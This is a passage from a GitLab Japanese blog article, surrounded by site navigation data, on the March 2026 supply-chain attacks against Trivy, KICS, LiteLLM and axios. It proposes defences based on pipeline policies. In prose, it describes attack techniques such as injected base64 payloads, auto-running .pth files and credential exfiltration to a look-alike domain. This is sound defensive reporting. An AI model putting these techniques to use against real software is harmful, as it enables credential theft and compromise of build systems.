gitlab-discovers-widespread-npm-supply-chain-attack\n",{"config":33,"title":5,"description":26,"ogImage":35},{"noIndex":34},false,"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg","ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[24,38],"security-research",[24,25],"OtcLUhOP7ZjDCV2AHBobK3ad4lGwyLZuW2JeFm2VEnc",{"data":42},{"logo":43,"freeTrial":48,"sales":53,"login":58,"items":63,"search":372,"minimal":405,"duo":422,"switchNav":431,"pricingDeployment":442},{"config":44},{"href":45,"dataGaName":46,"dataGaLocation":47},"/ja-jp/","gitlab logo","header",{"text":49,"config":50},"無料トライアルを開始",{"href":51,"dataGaName":52,"dataGaLocation":47},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":54,"config":55},"お問い合わせ",{"href":56,"dataGaName":57,"dataGaLocation":47},"/ja-jp/sales/","sales",{"text":59,"config":60},"サインイン",{"href":61,"dataGaName":62,"dataGaLocation":47},"https://gitlab.com/users/sign_in/","sign in",[64,91,188,193,294,354],{"text":65,"config":66,"cards":68},"プラットフォーム",{"dataNavLevelOne":67},"platform",[69,75,83],{"title":65,"description":70,"link":71},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":72,"config":73},"プラットフォームを探索",{"href":74,"dataGaName":67,"dataGaLocation":47},"/ja-jp/platform/",{"title":76,"description":77,"link":78},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":79,"config":80},"GitLab Duoのご紹介",{"href":81,"dataGaName":82,"dataGaLocation":47},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":84,"description":85,"link":86},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":87,"config":88},"詳細はこちら",{"href":89,"dataGaName":90,"dataGaLocation":47},"/ja-jp/why-gitlab/","why gitlab",{"text":92,"left":15,"config":93,"link":95,"lists":99,"footer":170},"製品",{"dataNavLevelOne":94},"solutions",{"text":96,"config":97},"すべてのソリューションを表示",{"href":98,"dataGaName":94,"dataGaLocation":47},"/ja-jp/solutions/",[100,125,148],{"title":101,"description":102,"link":103,"items":108},"自動化","CI/CDと自動化でデプロイを加速",{"config":104},{"icon":105,"href":106,"dataGaName":107,"dataGaLocation":47},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[109,113,116,121],{"text":110,"config":111},"CI/CD",{"href":112,"dataGaLocation":47,"dataGaName":110},"/ja-jp/solutions/continuous-integration/",{"text":76,"config":114},{"href":81,"dataGaLocation":47,"dataGaName":115},"gitlab duo agent platform - product menu",{"text":117,"config":118},"ソースコード管理",{"href":119,"dataGaLocation":47,"dataGaName":120},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":122,"config":123},"自動化されたソフトウェアデリバリー",{"href":106,"dataGaLocation":47,"dataGaName":124},"Automated software delivery",{"title":126,"description":127,"link":128,"items":133},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":129},{"href":130,"dataGaName":131,"dataGaLocation":47,"icon":132},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[134,138,143],{"text":135,"config":136},"アプリケーションセキュリティテスト",{"href":130,"dataGaName":137,"dataGaLocation":47},"Application security testing",{"text":139,"config":140},"ソフトウェアサプライチェーンの安全性",{"href":141,"dataGaLocation":47,"dataGaName":142},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":144,"config":145},"ソフトウェアコンプライアンス",{"href":146,"dataGaName":147,"dataGaLocation":47},"/ja-jp/solutions/software-compliance/","software compliance",{"title":149,"link":150,"items":155},"測定",{"config":151},{"icon":152,"href":153,"dataGaName":154,"dataGaLocation":47},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[156,160,165],{"text":157,"config":158},"可視性と測定",{"href":153,"dataGaLocation":47,"dataGaName":159},"Visibility and Measurement",{"text":161,"config":162},"バリューストリーム管理",{"href":163,"dataGaLocation":47,"dataGaName":164},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":166,"config":167},"分析とインサイト",{"href":168,"dataGaLocation":47,"dataGaName":169},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":171,"items":172},"GitLabが活躍する場所",[173,178,183],{"text":174,"config":175},"大企業",{"href":176,"dataGaLocation":47,"dataGaName":177},"/ja-jp/enterprise/","enterprise",{"text":179,"config":180},"スモールビジネス",{"href":181,"dataGaLocation":47,"dataGaName":182},"/ja-jp/small-business/","small business",{"text":184,"config":185},"公共部門",{"href":186,"dataGaLocation":47,"dataGaName":187},"/ja-jp/solutions/public-sector/","public sector",{"text":189,"config":190},"価格",{"href":191,"dataGaName":192,"dataGaLocation":47,"dataNavLevelOne":192},"/ja-jp/pricing/","pricing",{"text":194,"config":195,"link":197,"lists":201,"feature":281},"リソース",{"dataNavLevelOne":196},"resources",{"text":198,"config":199},"すべてのリソースを表示",{"href":200,"dataGaName":196,"dataGaLocation":47},"/ja-jp/resources/",[202,235,253],{"title":203,"items":204},"はじめに",[205,210,215,220,225,230],{"text":206,"config":207},"インストール",{"href":208,"dataGaName":209,"dataGaLocation":47},"/ja-jp/install/","install",{"text":211,"config":212},"クイックスタートガイド",{"href":213,"dataGaName":214,"dataGaLocation":47},"/ja-jp/get-started/","quick setup checklists",{"text":216,"config":217},"学ぶ",{"href":218,"dataGaLocation":47,"dataGaName":219},"https://university.gitlab.com/","learn",{"text":221,"config":222},"製品ドキュメント",{"href":223,"dataGaName":224,"dataGaLocation":47},"https://docs.gitlab.com/ja-jp/","product documentation",{"text":226,"config":227},"ベストプラクティスビデオ",{"href":228,"dataGaName":229,"dataGaLocation":47},"/ja-jp/getting-started-videos/","best practice videos",{"text":231,"config":232},"インテグレーション",{"href":233,"dataGaName":234,"dataGaLocation":47},"/ja-jp/integrations/","integrations",{"title":236,"items":237},"検索する",[238,243,248],{"text":239,"config":240},"お客様成功事例",{"href":241,"dataGaName":242,"dataGaLocation":47},"/ja-jp/customers/","customer success stories",{"text":244,"config":245},"ブログ",{"href":246,"dataGaName":247,"dataGaLocation":47},"/ja-jp/blog/","blog",{"text":249,"config":250},"リモート",{"href":251,"dataGaName":252,"dataGaLocation":47},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":254,"items":255},"つなげる",[256,261,266,271,276],{"text":257,"config":258},"GitLabサービス",{"href":259,"dataGaName":260,"dataGaLocation":47},"/ja-jp/services/","services",{"text":262,"config":263},"コミュニティ",{"href":264,"dataGaName":265,"dataGaLocation":47},"/community/","community",{"text":267,"config":268},"フォーラム",{"href":269,"dataGaName":270,"dataGaLocation":47},"https://forum.gitlab.com/","forum",{"text":272,"config":273},"イベント",{"href":274,"dataGaName":275,"dataGaLocation":47},"/events/","events",{"text":277,"config":278},"パートナー",{"href":279,"dataGaName":280,"dataGaLocation":47},"/ja-jp/partners/","partners",{"background":282,"textColor":283,"text":284,"image":285,"link":289},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":286,"config":287},"ソースプロモカード",{"src":288},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":290,"config":291},"最新情報を読む",{"href":292,"dataGaName":293,"dataGaLocation":47},"/ja-jp/the-source/","the source",{"text":295,"config":296,"lists":298},"会社情報",{"dataNavLevelOne":297},"company",[299],{"items":300},[301,306,312,314,319,324,329,334,339,344,349],{"text":302,"config":303},"GitLabについて",{"href":304,"dataGaName":305,"dataGaLocation":47},"/ja-jp/company/","about",{"text":307,"config":308,"footerGa":311},"採用情報",{"href":309,"dataGaName":310,"dataGaLocation":47},"/jobs/","jobs",{"dataGaName":310},{"text":272,"config":313},{"href":274,"dataGaName":275,"dataGaLocation":47},{"text":315,"config":316},"経営陣",{"href":317,"dataGaName":318,"dataGaLocation":47},"/company/team/e-group/","leadership",{"text":320,"config":321},"チーム",{"href":322,"dataGaName":323,"dataGaLocation":47},"/company/team/","team",{"text":325,"config":326},"ハンドブック",{"href":327,"dataGaName":328,"dataGaLocation":47},"https://handbook.gitlab.com/","handbook",{"text":330,"config":331},"投資家向け情報",{"href":332,"dataGaName":333,"dataGaLocation":47},"https://ir.gitlab.com/","investor relations",{"text":335,"config":336},"トラストセンター",{"href":337,"dataGaName":338,"dataGaLocation":47},"/ja-jp/security/","trust center",{"text":340,"config":341},"AI Transparency Center",{"href":342,"dataGaName":343,"dataGaLocation":47},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":345,"config":346},"ニュースレター",{"href":347,"dataGaName":348,"dataGaLocation":47},"/company/contact/#contact-forms","newsletter",{"text":350,"config":351},"プレス",{"href":352,"dataGaName":353,"dataGaLocation":47},"/press/","press",{"text":54,"config":355,"lists":356},{"dataNavLevelOne":297},[357],{"items":358},[359,362,367],{"text":54,"config":360},{"href":56,"dataGaName":361,"dataGaLocation":47},"talk to sales",{"text":363,"config":364},"サポートを受ける",{"href":365,"dataGaName":366,"dataGaLocation":47},"https://support.gitlab.com","support portal",{"text":368,"config":369},"カスタマーポータル",{"href":370,"dataGaName":371,"dataGaLocation":47},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":373,"login":374,"suggestions":381},"閉じる",{"text":375,"link":376},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":377,"config":378},"GitLab.com",{"href":61,"dataGaName":379,"dataGaLocation":380},"search login","search",{"text":382,"default":383},"提案",[384,386,391,393,397,401],{"text":76,"config":385},{"href":81,"dataGaName":76,"dataGaLocation":380},{"text":387,"config":388},"コード提案（AI）",{"href":389,"dataGaName":390,"dataGaLocation":380},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":110,"config":392},{"href":112,"dataGaName":110,"dataGaLocation":380},{"text":394,"config":395},"GitLab on AWS",{"href":396,"dataGaName":394,"dataGaLocation":380},"/ja-jp/partners/technology-partners/aws/",{"text":398,"config":399},"GitLab on Google Cloud",{"href":400,"dataGaName":398,"dataGaLocation":380},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":402,"config":403},"GitLabを選ぶ理由",{"href":89,"dataGaName":404,"dataGaLocation":380},"Why GitLab?",{"freeTrial":406,"mobileIcon":410,"desktopIcon":415,"secondaryButton":418},{"text":49,"config":407},{"href":408,"dataGaName":52,"dataGaLocation":409},"https://gitlab.com/-/trials/new/","nav",{"altText":411,"config":412},"GitLabアイコン",{"src":413,"dataGaName":414,"dataGaLocation":409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":411,"config":416},{"src":417,"dataGaName":414,"dataGaLocation":409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":203,"config":419},{"href":420,"dataGaName":421,"dataGaLocation":409},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":423,"mobileIcon":427,"desktopIcon":429},{"text":424,"config":425},"GitLab Duoの詳細について",{"href":81,"dataGaName":426,"dataGaLocation":409},"gitlab duo",{"altText":411,"config":428},{"src":413,"dataGaName":414,"dataGaLocation":409},{"altText":411,"config":430},{"src":417,"dataGaName":414,"dataGaLocation":409},{"button":432,"mobileIcon":437,"desktopIcon":439},{"text":433,"config":434},"/switch",{"href":435,"dataGaName":436,"dataGaLocation":409},"#contact","switch",{"altText":411,"config":438},{"src":413,"dataGaName":414,"dataGaLocation":409},{"altText":411,"config":440},{"src":441,"dataGaName":414,"dataGaLocation":409},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":443,"mobileIcon":448,"desktopIcon":450},{"text":444,"config":445},"料金ページに戻る",{"href":191,"dataGaName":446,"dataGaLocation":409,"icon":447},"back to pricing","GoBack",{"altText":411,"config":449},{"src":413,"dataGaName":414,"dataGaLocation":409},{"altText":411,"config":451},{"src":417,"dataGaName":414,"dataGaLocation":409},{"title":453,"button":454,"config":459},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":455,"config":456},"GitLab Transcendを今すぐ視聴",{"href":457,"dataGaName":458,"dataGaLocation":47},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":460,"icon":461,"disabled":15},"release","AiStar",{"data":463},{"text":464,"source":465,"edit":471,"contribute":476,"config":481,"items":486,"minimal":689},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":466,"config":467},"ページのソースを表示",{"href":468,"dataGaName":469,"dataGaLocation":470},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":472,"config":473},"このページを編集",{"href":474,"dataGaName":475,"dataGaLocation":470},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":477,"config":478},"ご協力をお願いします",{"href":479,"dataGaName":480,"dataGaLocation":470},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":482,"facebook":483,"youtube":484,"linkedin":485},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[487,532,585,628,655],{"title":189,"links":488,"subMenu":503},[489,493,498],{"text":490,"config":491},"プランの表示",{"href":191,"dataGaName":492,"dataGaLocation":470},"view plans",{"text":494,"config":495},"Premiumを選ぶ理由",{"href":496,"dataGaName":497,"dataGaLocation":470},"/ja-jp/pricing/premium/","why premium",{"text":499,"config":500},"Ultimateを選ぶ理由",{"href":501,"dataGaName":502,"dataGaLocation":470},"/ja-jp/pricing/ultimate/","why ultimate",[504],{"title":54,"links":505},[506,508,510,512,517,522,527],{"text":54,"config":507},{"href":56,"dataGaName":57,"dataGaLocation":470},{"text":363,"config":509},{"href":365,"dataGaName":366,"dataGaLocation":470},{"text":368,"config":511},{"href":370,"dataGaName":371,"dataGaLocation":470},{"text":513,"config":514},"ステータス",{"href":515,"dataGaName":516,"dataGaLocation":470},"https://status.gitlab.com/","status",{"text":518,"config":519},"利用規約",{"href":520,"dataGaName":521,"dataGaLocation":470},"/terms/","terms of use",{"text":523,"config":524},"プライバシーに関する声明",{"href":525,"dataGaName":526,"dataGaLocation":470},"/ja-jp/privacy/","privacy statement",{"text":528,"config":529},"Cookie 優先設定",{"dataGaName":530,"dataGaLocation":470,"id":531,"isOneTrustButton":15},"cookie preferences","ot-sdk-btn",{"title":92,"links":533,"subMenu":542},[534,538],{"text":535,"config":536},"DevSecOpsプラットフォーム",{"href":74,"dataGaName":537,"dataGaLocation":470},"devsecops platform",{"text":539,"config":540},"AI支援開発",{"href":81,"dataGaName":541,"dataGaLocation":470},"ai-assisted development",[543],{"title":544,"links":545},"トピック",[546,550,555,560,565,570,575,580],{"text":110,"config":547},{"href":548,"dataGaName":549,"dataGaLocation":470},"/ja-jp/topics/ci-cd/","cicd",{"text":551,"config":552},"GitOps",{"href":553,"dataGaName":554,"dataGaLocation":470},"/ja-jp/topics/gitops/","gitops",{"text":556,"config":557},"DevOps",{"href":558,"dataGaName":559,"dataGaLocation":470},"/ja-jp/topics/devops/","devops",{"text":561,"config":562},"バージョン管理",{"href":563,"dataGaName":564,"dataGaLocation":470},"/ja-jp/topics/version-control/","version control",{"text":566,"config":567},"DevSecOps",{"href":568,"dataGaName":569,"dataGaLocation":470},"/ja-jp/topics/devsecops/","devsecops",{"text":571,"config":572},"クラウドネイティブ",{"href":573,"dataGaName":574,"dataGaLocation":470},"/ja-jp/topics/cloud-native/","cloud native",{"text":576,"config":577},"コーディングのためのAI",{"href":578,"dataGaName":579,"dataGaLocation":470},"/ja-jp/topics/devops/ai-for-coding/","ai for coding",{"text":581,"config":582},"エージェント型AI",{"href":583,"dataGaName":584,"dataGaLocation":470},"/ja-jp/topics/agentic-ai/","agentic ai",{"title":586,"links":587},"ソリューション",[588,591,593,598,602,605,608,611,613,615,618,623],{"text":135,"config":589},{"href":130,"dataGaName":590,"dataGaLocation":470},"Application Security Testing",{"text":122,"config":592},{"href":106,"dataGaName":107,"dataGaLocation":470},{"text":594,"config":595},"アジャイル開発",{"href":596,"dataGaName":597,"dataGaLocation":470},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":599,"config":600},"SCM",{"href":119,"dataGaName":601,"dataGaLocation":470},"source code management",{"text":110,"config":603},{"href":112,"dataGaName":604,"dataGaLocation":470},"continuous integration & delivery",{"text":161,"config":606},{"href":163,"dataGaName":607,"dataGaLocation":470},"value stream management",{"text":551,"config":609},{"href":610,"dataGaName":554,"dataGaLocation":470},"/ja-jp/solutions/gitops/",{"text":174,"config":612},{"href":176,"dataGaName":177,"dataGaLocation":470},{"text":179,"config":614},{"href":181,"dataGaName":182,"dataGaLocation":470},{"text":616,"config":617},"公共機関",{"href":186,"dataGaName":187,"dataGaLocation":470},{"text":619,"config":620},"教育",{"href":621,"dataGaName":622,"dataGaLocation":470},"/ja-jp/solutions/education/","education",{"text":624,"config":625},"金融サービス",{"href":626,"dataGaName":627,"dataGaLocation":470},"/ja-jp/solutions/finance/","financial services",{"title":194,"links":629},[630,632,634,636,639,641,643,645,647,649,651,653],{"text":206,"config":631},{"href":208,"dataGaName":209,"dataGaLocation":470},{"text":211,"config":633},{"href":213,"dataGaName":214,"dataGaLocation":470},{"text":216,"config":635},{"href":218,"dataGaName":219,"dataGaLocation":470},{"text":221,"config":637},{"href":223,"dataGaName":638,"dataGaLocation":470},"docs",{"text":244,"config":640},{"href":246,"dataGaName":247,"dataGaLocation":470},{"text":239,"config":642},{"href":241,"dataGaName":242,"dataGaLocation":470},{"text":249,"config":644},{"href":251,"dataGaName":252,"dataGaLocation":470},{"text":257,"config":646},{"href":259,"dataGaName":260,"dataGaLocation":470},{"text":262,"config":648},{"href":264,"dataGaName":265,"dataGaLocation":470},{"text":267,"config":650},{"href":269,"dataGaName":270,"dataGaLocation":470},{"text":272,"config":652},{"href":274,"dataGaName":275,"dataGaLocation":470},{"text":277,"config":654},{"href":279,"dataGaName":280,"dataGaLocation":470},{"title":295,"links":656},[657,659,661,663,665,667,669,673,678,680,682,684],{"text":302,"config":658},{"href":304,"dataGaName":297,"dataGaLocation":470},{"text":307,"config":660},{"href":309,"dataGaName":310,"dataGaLocation":470},{"text":315,"config":662},{"href":317,"dataGaName":318,"dataGaLocation":470},{"text":320,"config":664},{"href":322,"dataGaName":323,"dataGaLocation":470},{"text":325,"config":666},{"href":327,"dataGaName":328,"dataGaLocation":470},{"text":330,"config":668},{"href":332,"dataGaName":333,"dataGaLocation":470},{"text":670,"config":671},"Sustainability",{"href":672,"dataGaName":670,"dataGaLocation":470},"/sustainability/",{"text":674,"config":675},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":676,"dataGaName":677,"dataGaLocation":470},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":335,"config":679},{"href":337,"dataGaName":338,"dataGaLocation":470},{"text":345,"config":681},{"href":347,"dataGaName":348,"dataGaLocation":470},{"text":350,"config":683},{"href":352,"dataGaName":353,"dataGaLocation":470},{"text":685,"config":686},"現代奴隷制の透明性に関する声明",{"href":687,"dataGaName":688,"dataGaLocation":470},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":690},[691,693,696],{"text":518,"config":692},{"href":520,"dataGaName":521,"dataGaLocation":470},{"text":694,"config":695},"Cookieの設定",{"dataGaName":530,"dataGaLocation":470,"id":531,"isOneTrustButton":15},{"text":523,"config":697},{"href":525,"dataGaName":526,"dataGaLocation":470},[699,712],{"id":700,"title":10,"body":28,"config":701,"content":703,"description":28,"extension":27,"meta":707,"navigation":15,"path":708,"seo":709,"stem":710,"__hash__":711},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":702},"BlogAuthor",{"name":10,"config":704},{"headshot":705,"ctfId":706},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",{"id":713,"title":11,"body":28,"config":714,"content":716,"description":28,"extension":27,"meta":719,"navigation":15,"path":720,"seo":721,"stem":722,"__hash__":723},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":702,"gitlabHandle":715},"dabeles",{"name":11,"config":717},{"headshot":718},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764021550/s0jlolynjykik4qzfznr.png",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","Jk9qNn2qJBh633zCEZSFpYFUYNt83twJ-Ge9wrn_oT0",[725],{"content":726,"config":739},{"heroImage":727,"body":728,"authors":729,"updatedDate":731,"date":732,"title":733,"tags":734,"description":738,"category":13},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","***注：GitLab製品は、本記事で言及されている侵害されたパッケージバージョンを使用していませんでした。***\n\nわずか12日間で4件の独立したサプライチェーン攻撃が発生し、継続的インテグレーション／継続的デリバリー（CI/CD）パイプラインが高度な脅威アクターにとって格好の標的となっていることが明らかになりました。\n\n2026年3月19日から31日にかけて、脅威アクターは以下のツールを侵害しました。\n\n* オープンソースのセキュリティスキャナー（Trivy）\n* Infrastructure as Code（IaC）セキュリティスキャナー（Checkmarx KICS）\n* AIモデルゲートウェイ（LiteLLM）\n* JavaScript HTTPクライアント（axios）\n\nいずれの攻撃も同じ侵入口を狙っていました。それがビルドパイプラインです。\n本記事では、何が起きたのか、なぜパイプラインが特に脆弱なのか、そしてGitLabの集中型ポリシー適用（以下で定義するポリシーを使用）が、これらの攻撃パターンを本番環境に到達する前にブロック・検出・封じ込める方法を解説します。\n\n## 数百万人が信頼するツールが、わずか数分で侵害された\n\nサプライチェーン攻撃のタイムラインは以下のとおりです。\n\n### 3月19日：Trivyセキュリティスキャナーが攻撃のベクターに\n\n[Trivy](https://github.com/aquasecurity/trivy)は、世界で最も広く使われているオープンソースの脆弱性スキャナーの1つです。脆弱性を検出するために*パイプライン内*で実行されるツールです。\n\n3月19日、TeamPCPと呼ばれる脅威アクターグループが[侵害された認証情報を使用し](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/)、`aquasecurity/trivy-action` GitHub Actionの76バージョンタグ（全77件中）および`aquasecurity/setup-trivy`の全7タグに悪意のあるコードをforce-pushしました。同時に、トロイの木馬化されたTrivyバイナリ（v0.69.4）が公式配布チャネルに公開されました。このペイロードは認証情報を窃取するマルウェアで、Trivyスキャンを実行したすべてのパイプラインから環境変数、クラウドトークン、SSHキー、CI/CDシークレットを収集しました。\n\nこのインシデントには[CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634)が割り当てられ、CVSSスコアは9.4でした。米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は数日以内にこれを既知の悪用済み脆弱性カタログに追加しました。\n\n### 3月23日：次はCheckmarx KICSが標的に\n\nTeamPCPは窃取した認証情報を使い、CheckmarxのオープンソースプロジェクトであるKICS（Keeping Infrastructure as Code Secure）に攻撃対象を移しました。`ast-github-action`および`kics-github-action` GitHub Actionに[同じ認証情報窃取マルウェアを注入し](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html)、3月23日の12:58〜16:50 UTCの間、これらのアクションを参照するCI/CDパイプラインはすべて、APIキー、データベースパスワード、クラウドアクセストークン、SSHキー、サービスアカウントの認証情報などの機密データを密かに外部に送信していました。\n\n### 3月24日：Trivyの侵害された認証情報を経由してLiteLLMも被害を受ける\n\n月間9,500万ダウンロードのLLM APIプロキシであるLiteLLMが次の標的になりました。TeamPCPは、TrivyでスキャンしていたLiteLLM自身のCI/CDパイプラインから収集した認証情報を使用し、PyPIにバックドアを仕込んだバージョン（1.82.7および1.82.8）を[公開しました](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html)。\n\nバージョン1.82.7を標的としたマルウェアは、`litellm/proxy/proxy_server.py`にインポート時に実行されるbase64エンコードされたペイロードを直接注入していました。バージョン1.82.8を標的としたものは、Pythonインタープリタ起動時に自動実行される`.pth`ファイルを使用していました。LiteLLMをインストールするだけでペイロードが起動してしまう仕組みです。攻撃者は窃取したデータ（SSHキー、クラウドトークン、.envファイル、暗号資産ウォレット）を暗号化し、本物のドメインに似せた`models.litellm.cloud`に外部送信しました。\n\n### 3月31日：単純なパッケージングミスがAIコーディングアシスタントのソースコードを流出させる\n\nTeamPCPの攻撃キャンペーンがまだ続く中、あるソフトウェア企業が59.8 MBのソースマップファイルを含むnpmパッケージを公開してしまいました。そのファイルには、AIコーディングアシスタントの完全な未縮小TypeScriptソースコードへの参照が含まれており、自社のCloudflare R2バケットでホストされていました。\n\nこの流出により、1,900のTypeScriptファイル、512,000行以上のコード、44の隠し機能フラグ、未公開のモデルコードネーム、そして知る人ぞ知る場所へのアクセス方法を知っていれば誰でも確認できるシステムプロンプトの全文が公開されてしまいました。エンジニアの[Gabriel Anhaia氏が解説したように](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo)、「`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあるだけで、すべてが露出してしまいます」。\n\n### 3月31日：axiosとサプライチェーンへのもう1つのトロイの木馬\n\n同日、週間1億ダウンロード超のJavaScript HTTPクライアントであるaxios npmパッケージを狙った[高度なキャンペーンが実行されました](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html)。\n\n侵害されたメンテナーアカウントによりバックドアを仕込んだバージョン（1.14.1および0.30.4）が公開されました。悪意のある依存関係（`plain-crypto-js@4.2.1`）が注入され、macOS、Windows、Linuxで動作するリモートアクセス型トロイの木馬（RAT）がデプロイされました。2つのリリースブランチともに39分以内に感染し、マルウェアは実行後に自己消去するよう設計されていました。\n\n## これらの攻撃に潜む共通パターン\n\n5件のインシデントを通じて、3つの明確な攻撃パターンが浮かび上がってきます。いずれもCI/CDパイプラインがその入力に対して暗黙的に持つ信頼を悪用するものです。\n\n### パターン1：汚染されたツールとアクション\n\nTeamPCPのキャンペーンは、ある根本的な前提を突いていました。それは、パイプライン*内*で実行されるセキュリティツール自体は信頼できるという思い込みです。GitHubアクションのタグやPyPIパッケージのバージョンが悪意のあるコードに解決された場合、パイプラインはそれを環境シークレット、クラウド認証情報、デプロイトークンへのフルアクセス権限で実行してしまいます。パイプラインはタグを信頼するため、検証ステップが存在しないのです。\n\n**推奨されるパイプラインレベルの対策：** 可変バージョンタグではなく、不変の参照（コミットSHAまたはイメージダイジェスト）にツールとアクションをピン留めしてください。ピン留めが現実的でない場合は、既知の正常なチェックサムまたは署名に対してツールと依存関係の整合性を検証してください。検証に失敗した場合は実行をブロックします。\n\n### パターン2：知的財産（IP）を漏洩するパッケージング設定ミス\n\n設定ミスのあるビルドパイプラインが、デバッグ成果物をそのまま本番パッケージに含めて出荷してしまいました。`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあれば十分です。公開前の検証ステップを設けておけば、こうした問題は毎回防ぐことができます。\n\n**推奨されるパイプラインレベルの対策：** パッケージを公開する前に、パッケージの内容を許可リストに対して検証し、予期しないファイル（ソースマップ、内部設定ファイル、.envファイル）をフラグとして検出し、チェックに失敗した場合は公開ステップをブロックする自動チェックを実行してください。\n\n### パターン3：推移的依存関係の脆弱性\n\naxiosへの攻撃は、axiosを直接使用しているユーザーだけでなく、依存関係ツリーが侵害されたバージョンに解決されるすべてのユーザーを標的にしました。ロックファイル内で一度依存関係が汚染されると、組織全体のビルドインフラに波及する可能性があります。\n\n**推奨されるパイプラインレベルの対策：** 依存関係のチェックサムを既知の正常なロックファイルの状態と比較してください。予期しない新しい依存関係やバージョン変更を検出し、未検証のパッケージを導入するビルドをブロックします。\n\n## GitLabパイプライン実行ポリシーによる各攻撃パターンへの対処\n\nGitLabパイプライン実行ポリシー（[PEP](https://docs.gitlab.com/ja-jp/user/application_security/policies/pipeline_execution_policies/)）は、セキュリティチームおよびプラットフォームチームが、開発者が`.gitlab-ci.yml`で定義した内容に関わらず、組織全体のすべてのパイプラインに必須のCI/CDジョブを注入できる仕組みです。PEPで定義されたジョブは、`[skip ci]`や`[no_pipeline]`ディレクティブを使ってもスキップできません。ジョブは開発者のパイプラインを前後から挟む*予約済み*ステージ（`.pipeline-policy-pre`および`.pipeline-policy-post`）で実行できます。\n\n3つのパターンすべてに対応するパイプライン実行ポリシーをオープンソースプロジェクトとして公開しています：[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)。これらのポリシーは独立してデプロイ可能で、それぞれテスト用の違反サンプルが同梱されています。各ポリシーの仕組みをご紹介します。\n\n### ユースケース1：パッケージ公開時の意図しない情報露出を防ぐ\n\n**問題：** ビルドパイプラインが公開時の検証をスキップしたため、ソースマップファイルがAIコーディングツールのnpmパッケージに含まれてしまいました。\n\n**PEPによるアプローチ：** この種のエラーに特化したオープンソースのパイプライン実行ポリシーを作成しました：[Artifact 